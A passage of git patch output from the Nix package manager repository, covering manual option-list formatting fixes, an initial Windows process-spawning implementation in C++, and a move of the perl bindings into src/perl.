depending on what is available in the active Nix expression. - - `--prebuilt-only` / `-b`\ + - `--prebuilt-only` / `-b` + Use only derivations for which a substitute is registered, i.e., there is a pre-built binary available that can be downloaded in lieu of building the derivation. Thus, no packages will be built from source. - - `--preserve-installed` / `-P`\ + - `--preserve-installed` / `-P` + Do not remove derivations with a name matching one of the derivations being installed. Usually, trying to have two versions of the same package installed in the same generation of a profile will diff --git a/doc/manual/src/command-ref/nix-hash.md b/doc/manual/src/command-ref/nix-hash.md index 24e91df12..4762600c2 100644 --- a/doc/manual/src/command-ref/nix-hash.md +++ b/doc/manual/src/command-ref/nix-hash.md @@ -29,7 +29,8 @@ md5sum`. # Options - - `--flat`\ + - `--flat` + Print the cryptographic hash of the contents of each regular file *path*. That is, instead of computing the hash of the [Nix Archive (NAR)](@docroot@/store/file-system-object/content-address.md#serial-nix-archive) of *path*, @@ -38,43 +39,53 @@ md5sum`. The result is identical to that produced by the GNU commands `md5sum` and `sha1sum`. - - `--base16`\ + - `--base16` + Print the hash in a hexadecimal representation (default). - - `--base32`\ + - `--base32` + Print the hash in a base-32 representation rather than hexadecimal. This base-32 representation is more compact and can be used in Nix expressions (such as in calls to `fetchurl`). - - `--base64`\ + - `--base64` + Similar to --base32, but print the hash in a base-64 representation, which is more compact than the base-32 one. - - `--sri`\ + - `--sri` + Print the hash in SRI format with base-64 encoding. The type of hash algorithm will be prepended to the hash string, followed by a hyphen (-) and the base-64 hash body. - - `--truncate`\ + - `--truncate` + Truncate hashes longer than 160 bits (such as SHA-256) to 160 bits. - - `--type` *hashAlgo*\ + - `--type` *hashAlgo* + Use the specified cryptographic hash algorithm, which can be one of `md5`, `sha1`, `sha256`, and `sha512`. - - `--to-base16`\ + - `--to-base16` + Don’t hash anything, but convert the base-32 hash representation *hash* to hexadecimal. - - `--to-base32`\ + - `--to-base32` + Don’t hash anything, but convert the hexadecimal hash representation *hash* to base-32. - - `--to-base64`\ + - `--to-base64` + Don’t hash anything, but convert the hexadecimal hash representation *hash* to base-64. - - `--to-sri`\ + - `--to-sri` + Don’t hash anything, but convert the hexadecimal hash representation *hash* to SRI. diff --git a/doc/manual/src/command-ref/nix-instantiate.md b/doc/manual/src/command-ref/nix-instantiate.md index dffbb2d70..554784b63 100644 --- a/doc/manual/src/command-ref/nix-instantiate.md +++ b/doc/manual/src/command-ref/nix-instantiate.md @@ -30,14 +30,17 @@ standard input. # Options - - `--add-root` *path*\ + - `--add-root` *path* + See the [corresponding option](nix-store.md) in `nix-store`. - - `--parse`\ + - `--parse` + Just parse the input files, and print their abstract syntax trees on standard output as a Nix expression. - - `--eval`\ + - `--eval` + Just parse and evaluate the input files, and print the resulting values on standard output. No instantiation of store derivations takes place. @@ -80,14 +83,16 @@ standard input. > > ``` - - `--find-file`\ + - `--find-file` + Look up the given files in Nix’s search path (as specified by the `NIX_PATH` environment variable). If found, print the corresponding absolute paths on standard output. For instance, if `NIX_PATH` is `nixpkgs=/home/alice/nixpkgs`, then `nix-instantiate --find-file nixpkgs/default.nix` will print `/home/alice/nixpkgs/default.nix`. - - `--strict`\ + - `--strict` + When used with `--eval`, recursively evaluate list elements and attributes. Normally, such sub-expressions are left unevaluated (since the Nix language is lazy). @@ -97,17 +102,20 @@ standard input. > This option can cause non-termination, because lazy data > structures can be infinitely large. - - `--json`\ + - `--json` + When used with `--eval`, print the resulting value as an JSON representation of the abstract syntax tree rather than as a Nix expression. - - `--xml`\ + - `--xml` + When used with `--eval`, print the resulting value as an XML representation of the abstract syntax tree rather than as a Nix expression. The schema is the same as that used by the [`toXML` built-in](../language/builtins.md). - - `--read-write-mode`\ + - `--read-write-mode` + When used with `--eval`, perform evaluation in read/write mode so nix language features that require it will still work (at the cost of needing to do instantiation of every evaluated derivation). If diff --git a/doc/manual/src/command-ref/nix-prefetch-url.md b/doc/manual/src/command-ref/nix-prefetch-url.md index 45ef01e02..309738113 100644 --- a/doc/manual/src/command-ref/nix-prefetch-url.md +++ b/doc/manual/src/command-ref/nix-prefetch-url.md @@ -39,23 +39,28 @@ the path of the downloaded file in the Nix store is also printed. # Options - - `--type` *hashAlgo*\ + - `--type` *hashAlgo* + Use the specified cryptographic hash algorithm, which can be one of `md5`, `sha1`, `sha256`, and `sha512`. The default is `sha256`. - - `--print-path`\ + - `--print-path` + Print the store path of the downloaded file on standard output. - - `--unpack`\ + - `--unpack` + Unpack the archive (which must be a tarball or zip file) and add the result to the Nix store. The resulting hash can be used with functions such as Nixpkgs’s `fetchzip` or `fetchFromGitHub`. - - `--executable`\ + - `--executable` + Set the executable bit on the downloaded file. - - `--name` *name*\ + - `--name` *name* + Override the name of the file in the Nix store. By default, this is `hash-basename`, where *basename* is the last component of *url*. Overriding the name is necessary when *basename* contains characters diff --git a/doc/manual/src/command-ref/nix-shell.md b/doc/manual/src/command-ref/nix-shell.md index a4dd051fc..16b270de7 100644 --- a/doc/manual/src/command-ref/nix-shell.md +++ b/doc/manual/src/command-ref/nix-shell.md @@ -60,7 +60,8 @@ All options not listed here are passed to `nix-store --realise`, except for `--arg` and `--attr` / `-A` which are passed to `nix-instantiate`. - - `--command` *cmd*\ + - `--command` *cmd* + In the environment of the derivation, run the shell command *cmd*. This command is executed in an interactive shell. (Use `--run` to use a non-interactive shell instead.) However, a call to `exit` is @@ -70,34 +71,40 @@ All options not listed here are passed to `nix-store drop you into the interactive shell. This can be useful for doing any additional initialisation. - - `--run` *cmd*\ + - `--run` *cmd* + Like `--command`, but executes the command in a non-interactive shell. This means (among other things) that if you hit Ctrl-C while the command is running, the shell exits. - - `--exclude` *regexp*\ + - `--exclude` *regexp* + Do not build any dependencies whose store path matches the regular expression *regexp*. This option may be specified multiple times. - - `--pure`\ + - `--pure` + If this flag is specified, the environment is almost entirely cleared before the interactive shell is started, so you get an environment that more closely corresponds to the “real” Nix build. A few variables, in particular `HOME`, `USER` and `DISPLAY`, are retained. - - `--packages` / `-p` *packages*…\ + - `--packages` / `-p` *packages*… + Set up an environment in which the specified packages are present. The command line arguments are interpreted as attribute names inside the Nix Packages collection. Thus, `nix-shell --packages libjpeg openjdk` will start a shell in which the packages denoted by the attribute names `libjpeg` and `openjdk` are present. - - `-i` *interpreter*\ + - `-i` *interpreter* + The chained script interpreter to be invoked by `nix-shell`. Only applicable in `#!`-scripts (described below). - - `--keep` *name*\ + - `--keep` *name* + When a `--pure` shell is started, keep the listed environment variables. @@ -105,7 +112,8 @@ All options not listed here are passed to `nix-store # Environment variables - - `NIX_BUILD_SHELL`\ + - `NIX_BUILD_SHELL` + Shell used to start the interactive environment. Defaults to the `bash` found in ``, falling back to the `bash` found in `PATH` if not found. diff --git a/doc/manual/src/command-ref/nix-store/add-fixed.md b/doc/manual/src/command-ref/nix-store/add-fixed.md index d25db091c..3de25194c 100644 --- a/doc/manual/src/command-ref/nix-store/add-fixed.md +++ b/doc/manual/src/command-ref/nix-store/add-fixed.md @@ -16,7 +16,8 @@ public url or broke since the download expression was written. This operation has the following options: - - `--recursive`\ + - `--recursive` + Use recursive instead of flat hashing mode, used when adding directories to the store. diff --git a/doc/manual/src/command-ref/nix-store/gc.md b/doc/manual/src/command-ref/nix-store/gc.md index 7be0d559a..07fd452ce 100644 --- a/doc/manual/src/command-ref/nix-store/gc.md +++ b/doc/manual/src/command-ref/nix-store/gc.md @@ -14,18 +14,21 @@ reachable via file system references from a set of “roots”, are deleted. The following suboperations may be specified: - - `--print-roots`\ + - `--print-roots` + This operation prints on standard output the set of roots used by the garbage collector. - - `--print-live`\ + - `--print-live` + This operation prints on standard output the set of “live” store paths, which are all the store paths reachable from the roots. Live paths should never be deleted, since that would break consistency — it would become possible that applications are installed that reference things that are no longer present in the store. - - `--print-dead`\ + - `--print-dead` + This operation prints out on standard output the set of “dead” store paths, which is just the opposite of the set of live paths: any path in the store that is not live (with respect to the roots) is dead. @@ -33,7 +36,8 @@ The following suboperations may be specified: By default, all unreachable paths are deleted. The following options control what gets deleted and in what order: - - `--max-freed` *bytes*\ + - `--max-freed` *bytes* + Keep deleting paths until at least *bytes* bytes have been deleted, then stop. The argument *bytes* can be followed by the multiplicative suffix `K`, `M`, `G` or `T`, denoting KiB, MiB, GiB diff --git a/doc/manual/src/command-ref/nix-store/query.md b/doc/manual/src/command-ref/nix-store/query.md index 0bcacfe0c..a703b002b 100644 --- a/doc/manual/src/command-ref/nix-store/query.md +++ b/doc/manual/src/command-ref/nix-store/query.md @@ -24,25 +24,29 @@ symlink. # Common query options - - `--use-output`; `-u`\ + - `--use-output` / `-u` + For each argument to the query that is a [store derivation], apply the query to the output path of the derivation instead. - - `--force-realise`; `-f`\ + - `--force-realise` / `-f` + Realise each argument to the query first (see [`nix-store --realise`](./realise.md)). [store derivation]: @docroot@/glossary.md#gloss-store-derivation # Queries - - `--outputs`\ + - `--outputs` + Prints out the [output paths] of the store derivations *paths*. These are the paths that will be produced when the derivation is built. [output paths]: @docroot@/glossary.md#gloss-output-path - - `--requisites`; `-R`\ + - `--requisites` / `-R` + Prints out the [closure] of the store path *paths*. [closure]: @docroot@/glossary.md#gloss-closure @@ -61,27 +65,31 @@ symlink. dependencies) is obtained by distributing the closure of a store derivation and specifying the option `--include-outputs`. - - `--references`\ + - `--references` + Prints the set of [references] of the store paths *paths*, that is, their immediate dependencies. (For *all* dependencies, use `--requisites`.) [references]: @docroot@/glossary.md#gloss-reference - - `--referrers`\ + - `--referrers` + Prints the set of *referrers* of the store paths *paths*, that is, the store paths currently existing in the Nix store that refer to one of *paths*. Note that contrary to the references, the set of referrers is not constant; it can change as store paths are added or removed. - - `--referrers-closure`\ + - `--referrers-closure` + Prints the closure of the set of store paths *paths* under the referrers relation; that is, all store paths that directly or indirectly refer to one of *paths*. These are all the path currently in the Nix store that are dependent on *paths*. - - `--deriver`; `-d`\ + - `--deriver` / `-d` + Prints the [deriver] that was used to build the store paths *paths*. If the path has no deriver (e.g., if it is a source file), or if the deriver is not known (e.g., in the case of a binary-only @@ -92,12 +100,14 @@ symlink. [deriver]: @docroot@/glossary.md#gloss-deriver - - `--valid-derivers`\ + - `--valid-derivers` + Prints a set of derivation files (`.drv`) which are supposed produce said paths when realized. Might print nothing, for example for source paths or paths subsituted from a binary cache. - - `--graph`\ + - `--graph` + Prints the references graph of the store paths *paths* in the format of the `dot` tool of AT\&T's [Graphviz package](http://www.graphviz.org/). This can be used to visualise @@ -105,39 +115,45 @@ symlink. this to a store derivation. To obtain a runtime dependency graph, apply it to an output path. - - `--tree`\ + - `--tree` + Prints the references graph of the store paths *paths* as a nested ASCII tree. References are ordered by descending closure size; this tends to flatten the tree, making it more readable. The query only recurses into a store path when it is first encountered; this prevents a blowup of the tree representation of the graph. - - `--graphml`\ + - `--graphml` + Prints the references graph of the store paths *paths* in the [GraphML](http://graphml.graphdrawing.org/) file format. This can be used to visualise dependency graphs. To obtain a build-time dependency graph, apply this to a [store derivation]. To obtain a runtime dependency graph, apply it to an output path. - - `--binding` *name*; `-b` *name*\ + - `--binding` *name* / `-b` *name* + Prints the value of the attribute *name* (i.e., environment variable) of the [store derivation]s *paths*. It is an error for a derivation to not have the specified attribute. - - `--hash`\ + - `--hash` + Prints the SHA-256 hash of the contents of the store paths *paths* (that is, the hash of the output of `nix-store --dump` on the given paths). Since the hash is stored in the Nix database, this is a fast operation. - - `--size`\ + - `--size` + Prints the size in bytes of the contents of the store paths *paths* — to be precise, the size of the output of `nix-store --dump` on the given paths. Note that the actual disk space required by the store paths may be higher, especially on filesystems with large cluster sizes. - - `--roots`\ + - `--roots` + Prints the garbage collector roots that point, directly or indirectly, at the store paths *paths*. diff --git a/doc/manual/src/command-ref/nix-store/realise.md b/doc/manual/src/command-ref/nix-store/realise.md index 6e56387eb..6288b24e0 100644 --- a/doc/manual/src/command-ref/nix-store/realise.md +++ b/doc/manual/src/command-ref/nix-store/realise.md @@ -42,15 +42,18 @@ For non-derivation arguments, the argument itself is printed. # Options - - `--dry-run`\ + - `--dry-run` + Print on standard error a description of what packages would be built or downloaded, without actually performing the operation. - - `--ignore-unknown`\ + - `--ignore-unknown` + If a non-derivation path does not have a substitute, then silently ignore it. - - `--check`\ + - `--check` + This option allows you to check whether a derivation is deterministic. It rebuilds the specified derivation and checks whether the result is bitwise-identical with the existing outputs, diff --git a/doc/manual/src/command-ref/nix-store/serve.md b/doc/manual/src/command-ref/nix-store/serve.md index 0f90f65ae..dd9b93fbf 100644 --- a/doc/manual/src/command-ref/nix-store/serve.md +++ b/doc/manual/src/command-ref/nix-store/serve.md @@ -14,7 +14,8 @@ access to a restricted ssh user. The following flags are available: - - `--write`\ + - `--write` + Allow the connected client to request the realization of derivations. In effect, this can be used to make the host act as a remote builder. diff --git a/doc/manual/src/command-ref/nix-store/verify.md b/doc/manual/src/command-ref/nix-store/verify.md index 2695b3361..1b1b6f529 100644 --- a/doc/manual/src/command-ref/nix-store/verify.md +++ b/doc/manual/src/command-ref/nix-store/verify.md @@ -16,14 +16,16 @@ being modified by non-Nix tools, or of bugs in Nix itself. This operation has the following options: - - `--check-contents`\ + - `--check-contents` + Checks that the contents of every valid store path has not been altered by computing a SHA-256 hash of the contents and comparing it with the hash stored in the Nix database at build time. Paths that have been modified are printed out. For large stores, `--check-contents` is obviously quite slow. - - `--repair`\ + - `--repair` + If any valid path is missing from the store, or (if `--check-contents` is given) the contents of a valid path has been modified, then try to repair the path by redownloading it. See From a58ca342cae1d6bee488a42b6fc054c1072cfb8f Mon Sep 17 00:00:00 2001 From: PoweredByPie Date: Mon, 17 Jun 2024 11:01:29 -0700 Subject: [PATCH 0836/1251] Initial runProgram implementation for Windows This is incomplete; proper shell escaping needs to be done --- src/libutil/processes.hh | 17 +- src/libutil/windows/processes.cc | 322 ++++++++++++++++++++++++++++++- 2 files changed, 331 insertions(+), 8 deletions(-) diff --git a/src/libutil/processes.hh b/src/libutil/processes.hh index 168fcaa55..bbbe7dcab 100644 --- a/src/libutil/processes.hh +++ b/src/libutil/processes.hh @@ -3,6 +3,7 @@ #include "types.hh" #include "error.hh" +#include "file-descriptor.hh" #include "logging.hh" #include "ansicolor.hh" @@ -23,26 +24,36 @@ namespace nix { struct Sink; struct Source; -#ifndef _WIN32 class Pid { +#ifndef _WIN32 pid_t pid = -1; bool separatePG = false; int killSignal = SIGKILL; +#else + AutoCloseFD pid = INVALID_DESCRIPTOR; +#endif public: Pid(); +#ifndef _WIN32 Pid(pid_t pid); - ~Pid(); void operator =(pid_t pid); operator pid_t(); +#else + Pid(AutoCloseFD pid); + void operator =(AutoCloseFD pid); +#endif + ~Pid(); int kill(); int wait(); + // TODO: Implement for Windows +#ifndef _WIN32 void setSeparatePG(bool separatePG); void setKillSignal(int signal); pid_t release(); -}; #endif +}; #ifndef _WIN32 diff --git a/src/libutil/windows/processes.cc b/src/libutil/windows/processes.cc index 44a32f6a1..bb796ce2e 100644 --- a/src/libutil/windows/processes.cc +++ b/src/libutil/windows/processes.cc @@ -1,9 +1,15 @@ #include "current-process.hh" #include "environment-variables.hh" +#include "error.hh" +#include "file-descriptor.hh" +#include "file-path.hh" #include "signals.hh" #include "processes.hh" #include "finally.hh" #include "serialise.hh" +#include "file-system.hh" +#include "util.hh" +#include "windows-error.hh" #include #include @@ -16,25 +22,332 @@ #include #include +#define WIN32_LEAN_AND_MEAN +#include + namespace nix { +using namespace nix::windows; + +Pid::Pid() {} + +Pid::Pid(AutoCloseFD pid) + : pid(std::move(pid)) +{ +} + +Pid::~Pid() +{ + if (pid.get() != INVALID_DESCRIPTOR) + kill(); +} + +void Pid::operator=(AutoCloseFD pid) +{ + if (this->pid.get() != INVALID_DESCRIPTOR && this->pid.get() != pid.get()) + kill(); + this->pid = std::move(pid); +} + +// TODO: Implement (not needed for process spawning yet) +int Pid::kill() +{ + assert(pid.get() != INVALID_DESCRIPTOR); + + debug("killing process %1%", pid.get()); + + throw UnimplementedError("Pid::kill unimplemented"); +} + +int Pid::wait() +{ + // https://github.com/nix-windows/nix/blob/windows-meson/src/libutil/util.cc#L1938 + assert(pid.get() != INVALID_DESCRIPTOR); + DWORD status = WaitForSingleObject(pid.get(), INFINITE); + if (status != WAIT_OBJECT_0) { + debug("WaitForSingleObject returned %1%", status); + } + + DWORD exitCode = 0; + if (GetExitCodeProcess(pid.get(), &exitCode) == FALSE) { + debug("GetExitCodeProcess failed on pid %1%", pid.get()); + } + + pid.close(); + return exitCode; +} + +// TODO: Merge this with Unix's runProgram since it's identical logic. std::string runProgram(Path program, bool lookupPath, const Strings & args, const std::optional & input, bool isInteractive) { - throw UnimplementedError("Cannot shell out to git on Windows yet"); + auto res = runProgram(RunOptions{ + .program = program, .lookupPath = lookupPath, .args = args, .input = input, .isInteractive = isInteractive}); + + if (!statusOk(res.first)) + throw ExecError(res.first, "program '%1%' %2%", program, statusToString(res.first)); + + return res.second; +} +// Looks at the $PATH environment variable to find the program. +// Adapted from https://github.com/nix-windows/nix/blob/windows/src/libutil/util.cc#L2276 +Path lookupPathForProgram(const Path & program) +{ + if (program.find('/') != program.npos || program.find('\\') != program.npos) { + throw Error("program '%1%' partially specifies its path", program); + } + + // Possible extensions. + // TODO: This should actually be sourced from $PATHEXT, not hardcoded. + static constexpr const char * exts[] = {"", ".exe", ".cmd", ".bat"}; + + auto path = getEnv("PATH"); + if (!path.has_value()) { + throw WinError("couldn't find PATH environment variable"); + } + + // Look through each directory listed in $PATH. + for (const std::string & dir : tokenizeString(*getEnv("PATH"), ";")) { + Path candidate = canonPath(dir) + '/' + program; + for (const auto ext : exts) { + if (pathExists(candidate + ext)) { + return candidate; + } + } + } + + throw WinError("program '%1%' not found on PATH", program); } +std::optional getProgramInterpreter(const Path & program) +{ + // These extensions are automatically handled by Windows and don't require an interpreter. + static constexpr const char * exts[] = {".exe", ".cmd", ".bat"}; + for (const auto ext : exts) { + if (hasSuffix(program, ext)) { + return {}; + } + } + // TODO: Open file and read the shebang + throw UnimplementedError("getProgramInterpreter unimplemented"); +} +// TODO: Not sure if this is needed in the unix version but it might be useful as a member func +void setFDInheritable(AutoCloseFD & fd, bool inherit) +{ + if (fd.get() != INVALID_DESCRIPTOR) { + if (!SetHandleInformation(fd.get(), HANDLE_FLAG_INHERIT, inherit ? HANDLE_FLAG_INHERIT : 0)) { + throw WinError("Couldn't disable inheriting of handle"); + } + } +} + +AutoCloseFD nullFD() +{ + // Create null handle to discard reads / writes + // https://stackoverflow.com/a/25609668 + // https://github.com/nix-windows/nix/blob/windows-meson/src/libutil/util.cc#L2228 + AutoCloseFD nul = CreateFileW( + L"NUL", + GENERIC_READ | GENERIC_WRITE, + // We don't care who reads / writes / deletes this file since it's NUL anyways + FILE_SHARE_READ | FILE_SHARE_WRITE | FILE_SHARE_DELETE, + NULL, + OPEN_EXISTING, + 0, + NULL); + if (!nul.get()) { + throw WinError("Couldn't open NUL device"); + } + // Let this handle be inheritable by child processes + setFDInheritable(nul, true); + return nul; +} + +Pid spawnProcess(const Path & realProgram, const RunOptions & options, Pipe & out, Pipe & in) +{ + // Setup pipes. + if (options.standardOut) { + // Don't inherit the read end of the output pipe + setFDInheritable(out.readSide, false); + } else { + out.writeSide = nullFD(); + } + if (options.standardIn) { + // Don't inherit the write end of the input pipe + setFDInheritable(in.writeSide, false); + } else { + in.readSide = nullFD(); + } + + STARTUPINFOW startInfo = {0}; + startInfo.cb = sizeof(startInfo); + startInfo.dwFlags = STARTF_USESTDHANDLES; + startInfo.hStdInput = in.readSide.get(); + startInfo.hStdOutput = out.writeSide.get(); + startInfo.hStdError = out.writeSide.get(); + + std::string envline; + // Retain the current processes' environment variables. + for (const auto & envVar : getEnv()) { + envline += (envVar.first + '=' + envVar.second + '\0'); + } + // Also add new ones specified in options. + if (options.environment) { + for (const auto & envVar : *options.environment) { + envline += (envVar.first + '=' + envVar.second + '\0'); + } + } + + std::string cmdline = realProgram; + for (const auto & arg : options.args) { + // TODO: This isn't the right way to escape windows command + // See https://learn.microsoft.com/en-us/windows/win32/api/shellapi/nf-shellapi-commandlinetoargvw + cmdline += ' ' + shellEscape(arg); + } + + PROCESS_INFORMATION procInfo = {0}; + if (CreateProcessW( + string_to_os_string(realProgram).c_str(), + string_to_os_string(cmdline).data(), + NULL, + NULL, + TRUE, + CREATE_UNICODE_ENVIRONMENT | CREATE_SUSPENDED, + string_to_os_string(envline).data(), + options.chdir.has_value() ? string_to_os_string(*options.chdir).data() : NULL, + &startInfo, + &procInfo) + == 0) { + throw WinError("CreateProcessW failed (%1%)", cmdline); + } + + // Convert these to use RAII + AutoCloseFD process = procInfo.hProcess; + AutoCloseFD thread = procInfo.hThread; + + // Add current process and child to job object so child terminates when parent terminates + // TODO: This spawns one job per child process. We can probably keep this as a global, and + // add children a single job so we don't use so many jobs at once. + Descriptor job = CreateJobObjectW(NULL, NULL); + if (job == NULL) { + TerminateProcess(procInfo.hProcess, 0); + throw WinError("Couldn't create job object for child process"); + } + if (AssignProcessToJobObject(job, procInfo.hProcess) == FALSE) { + TerminateProcess(procInfo.hProcess, 0); + throw WinError("Couldn't assign child process to job object"); + } + if (ResumeThread(procInfo.hThread) == -1) { + TerminateProcess(procInfo.hProcess, 0); + throw WinError("Couldn't resume child process thread"); + } + + return process; +} + +// TODO: Merge this with Unix's runProgram since it's identical logic. // Output = error code + "standard out" output stream std::pair runProgram(RunOptions && options) { - throw UnimplementedError("Cannot shell out to git on Windows yet"); -} + StringSink sink; + options.standardOut = &sink; + int status = 0; + + try { + runProgram2(options); + } catch (ExecError & e) { + status = e.status; + } + + return {status, std::move(sink.s)}; +} void runProgram2(const RunOptions & options) { - throw UnimplementedError("Cannot shell out to git on Windows yet"); + checkInterrupt(); + + assert(!(options.standardIn && options.input)); + + std::unique_ptr source_; + Source * source = options.standardIn; + + if (options.input) { + source_ = std::make_unique(*options.input); + source = source_.get(); + } + + /* Create a pipe. */ + Pipe out, in; + // TODO: I copied this from unix but this is handled again in spawnProcess, so might be weird to split it up like + // this + if (options.standardOut) + out.create(); + if (source) + in.create(); + + Path realProgram = options.program; + if (options.lookupPath) { + realProgram = lookupPathForProgram(realProgram); + } + // TODO: Implement shebang / program interpreter lookup on Windows + auto interpreter = getProgramInterpreter(realProgram); + + std::optional>> resumeLoggerDefer; + if (options.isInteractive) { + logger->pause(); + resumeLoggerDefer.emplace([]() { logger->resume(); }); + } + + Pid pid = spawnProcess(interpreter.has_value() ? *interpreter : realProgram, options, out, in); + + // TODO: This is identical to unix, deduplicate? + out.writeSide.close(); + + std::thread writerThread; + + std::promise promise; + + Finally doJoin([&] { + if (writerThread.joinable()) + writerThread.join(); + }); + + if (source) { + in.readSide.close(); + writerThread = std::thread([&] { + try { + std::vector buf(8 * 1024); + while (true) { + size_t n; + try { + n = source->read(buf.data(), buf.size()); + } catch (EndOfFile &) { + break; + } + writeFull(in.writeSide.get(), {buf.data(), n}); + } + promise.set_value(); + } catch (...) { + promise.set_exception(std::current_exception()); + } + in.writeSide.close(); + }); + } + + if (options.standardOut) + drainFD(out.readSide.get(), *options.standardOut); + + /* Wait for the child to finish. */ + int status = pid.wait(); + + /* Wait for the writer thread to finish. */ + if (source) + promise.get_future().get(); + + if (status) + throw ExecError(status, "program '%1%' %2%", options.program, statusToString(status)); } std::string statusToString(int status) @@ -45,7 +358,6 @@ std::string statusToString(int status) return "succeeded"; } - bool statusOk(int status) { return status == 0; From a83d95e26ebdbe996a9cafc106538e5ada283fe5 Mon Sep 17 00:00:00 2001 From: John Ericson Date: Tue, 4 Jun 2024 18:10:25 -0400 Subject: [PATCH 0837/1251] Integrate perl with the other meson builds One big dev shell! --- flake.nix | 38 ++++++++++++++----- maintainers/hydra.nix | 2 +- meson.build | 1 + package.nix | 4 +- src/perl/.version | 1 + {perl => src/perl}/.yath.rc.in | 0 {perl => src/perl}/MANIFEST | 0 {perl => src/perl}/lib/Nix/Config.pm.in | 0 {perl => src/perl}/lib/Nix/CopyClosure.pm | 0 {perl => src/perl}/lib/Nix/Manifest.pm | 0 {perl => src/perl}/lib/Nix/SSH.pm | 0 {perl => src/perl}/lib/Nix/Store.pm | 0 {perl => src/perl}/lib/Nix/Store.xs | 3 +- {perl => src/perl}/lib/Nix/Utils.pm | 0 {perl => src/perl}/lib/Nix/meson.build | 0 {perl => src/perl}/meson.build | 8 ++-- .../perl/meson.options | 5 --- perl/default.nix => src/perl/package.nix | 17 ++++++--- {perl => src/perl}/t/init.t | 0 {perl => src/perl}/t/meson.build | 0 20 files changed, 52 insertions(+), 27 deletions(-) create mode 120000 src/perl/.version rename {perl => src/perl}/.yath.rc.in (100%) rename {perl => src/perl}/MANIFEST (100%) rename {perl => src/perl}/lib/Nix/Config.pm.in (100%) rename {perl => src/perl}/lib/Nix/CopyClosure.pm (100%) rename {perl => src/perl}/lib/Nix/Manifest.pm (100%) rename {perl => src/perl}/lib/Nix/SSH.pm (100%) rename {perl => src/perl}/lib/Nix/Store.pm (100%) rename {perl => src/perl}/lib/Nix/Store.xs (99%) rename {perl => src/perl}/lib/Nix/Utils.pm (100%) rename {perl => src/perl}/lib/Nix/meson.build (100%) rename {perl => src/perl}/meson.build (96%) rename perl/meson_options.txt => src/perl/meson.options (88%) rename perl/default.nix => src/perl/package.nix (79%) rename {perl => src/perl}/t/init.t (100%) rename {perl => src/perl}/t/meson.build (100%) diff --git a/flake.nix b/flake.nix index 9f494cb15..2b0e3c613 100644 --- a/flake.nix +++ b/flake.nix @@ -192,14 +192,14 @@ libgit2 = final.libgit2-nix; libseccomp = final.libseccomp-nix; busybox-sandbox-shell = final.busybox-sandbox-shell or final.default-busybox-sandbox-shell; - } // { - # this is a proper separate downstream package, but put - # here also for back compat reasons. - perl-bindings = final.nix-perl-bindings; }; - nix-perl-bindings = final.callPackage ./perl { - inherit fileset stdenv; + nix-perl-bindings = final.callPackage ./src/perl/package.nix { + inherit + fileset + stdenv + versionSuffix + ; }; # See https://github.com/NixOS/nixpkgs/pull/214409 @@ -213,7 +213,7 @@ in { # A Nixpkgs overlay that overrides the 'nix' and - # 'nix.perl-bindings' packages. + # 'nix-perl-bindings' packages. overlays.default = overlayFor (p: p.stdenv); hydraJobs = import ./maintainers/hydra.nix { @@ -245,7 +245,11 @@ # Some perl dependencies are broken on i686-linux. # Since the support is only best-effort there, disable the perl # bindings - perlBindings = self.hydraJobs.perlBindings.${system}; + + # Temporarily disabled because GitHub Actions OOM issues. Once + # the old build system is gone and we are back to one build + # system, we should reenable this. + #perlBindings = self.hydraJobs.perlBindings.${system}; } // devFlake.checks.${system} or {} ); @@ -297,6 +301,13 @@ makeShell = pkgs: stdenv: (pkgs.nix.override { inherit stdenv; forDevShell = true; }).overrideAttrs (attrs: let modular = devFlake.getSystem stdenv.buildPlatform.system; + transformFlag = prefix: flag: + assert builtins.isString flag; + let + rest = builtins.substring 2 (builtins.stringLength flag) flag; + in + "-D${prefix}:${rest}"; + havePerl = stdenv.buildPlatform == stdenv.hostPlatform && stdenv.hostPlatform.isUnix; in { pname = "shell-for-" + attrs.pname; @@ -327,11 +338,16 @@ "${(pkgs.formats.yaml { }).generate "pre-commit-config.yaml" modular.pre-commit.settings.rawConfig}"; }; - mesonFlags = pkgs.nix-util.mesonFlags ++ pkgs.nix-store.mesonFlags; + mesonFlags = + map (transformFlag "libutil") pkgs.nix-util.mesonFlags + ++ map (transformFlag "libstore") pkgs.nix-store.mesonFlags + ++ lib.optionals havePerl (map (transformFlag "perl") pkgs.nix-perl-bindings.mesonFlags) + ; nativeBuildInputs = attrs.nativeBuildInputs or [] ++ pkgs.nix-util.nativeBuildInputs ++ pkgs.nix-store.nativeBuildInputs + ++ lib.optionals havePerl pkgs.nix-perl-bindings.nativeBuildInputs ++ [ modular.pre-commit.settings.package (pkgs.writeScriptBin "pre-commit-hooks-install" @@ -341,6 +357,10 @@ # https://github.com/NixOS/nixpkgs/pull/291814 is available ++ lib.optional (stdenv.cc.isClang && !stdenv.buildPlatform.isDarwin) pkgs.buildPackages.bear ++ lib.optional (stdenv.cc.isClang && stdenv.hostPlatform == stdenv.buildPlatform) pkgs.buildPackages.clang-tools; + + buildInputs = attrs.buildInputs or [] + ++ lib.optional havePerl pkgs.perl + ; }); in forAllSystems (system: diff --git a/maintainers/hydra.nix b/maintainers/hydra.nix index cc0dadac9..6c07e65d4 100644 --- a/maintainers/hydra.nix +++ b/maintainers/hydra.nix @@ -75,7 +75,7 @@ in ); # Perl bindings for various platforms. - perlBindings = forAllSystems (system: nixpkgsFor.${system}.native.nix.perl-bindings); + perlBindings = forAllSystems (system: nixpkgsFor.${system}.native.nix-perl-bindings); # Binary tarball for various platforms, containing a Nix store # with the closure of 'nix' package, and the second half of diff --git a/meson.build b/meson.build index 10883d832..f1ee7a571 100644 --- a/meson.build +++ b/meson.build @@ -8,3 +8,4 @@ project('nix-dev-shell', 'cpp', subproject('libutil') subproject('libstore') +subproject('perl') diff --git a/package.nix b/package.nix index 5986edeb4..cb9554235 100644 --- a/package.nix +++ b/package.nix @@ -180,7 +180,7 @@ in { ./doc ./misc ./precompiled-headers.h - ./src + (fileset.difference ./src ./src/perl) ./COPYING ./scripts/local.mk ] ++ lib.optionals buildUnitTests [ @@ -192,7 +192,7 @@ in { ] ++ lib.optionals (enableInternalAPIDocs || enableExternalAPIDocs) [ # Source might not be compiled, but still must be available # for Doxygen to gather comments. - ./src + (fileset.difference ./src ./src/perl) ./tests/unit ] ++ lib.optionals buildUnitTests [ ./tests/unit diff --git a/src/perl/.version b/src/perl/.version new file mode 120000 index 000000000..b7badcd0c --- /dev/null +++ b/src/perl/.version @@ -0,0 +1 @@ +../../.version \ No newline at end of file diff --git a/perl/.yath.rc.in b/src/perl/.yath.rc.in similarity index 100% rename from perl/.yath.rc.in rename to src/perl/.yath.rc.in diff --git a/perl/MANIFEST 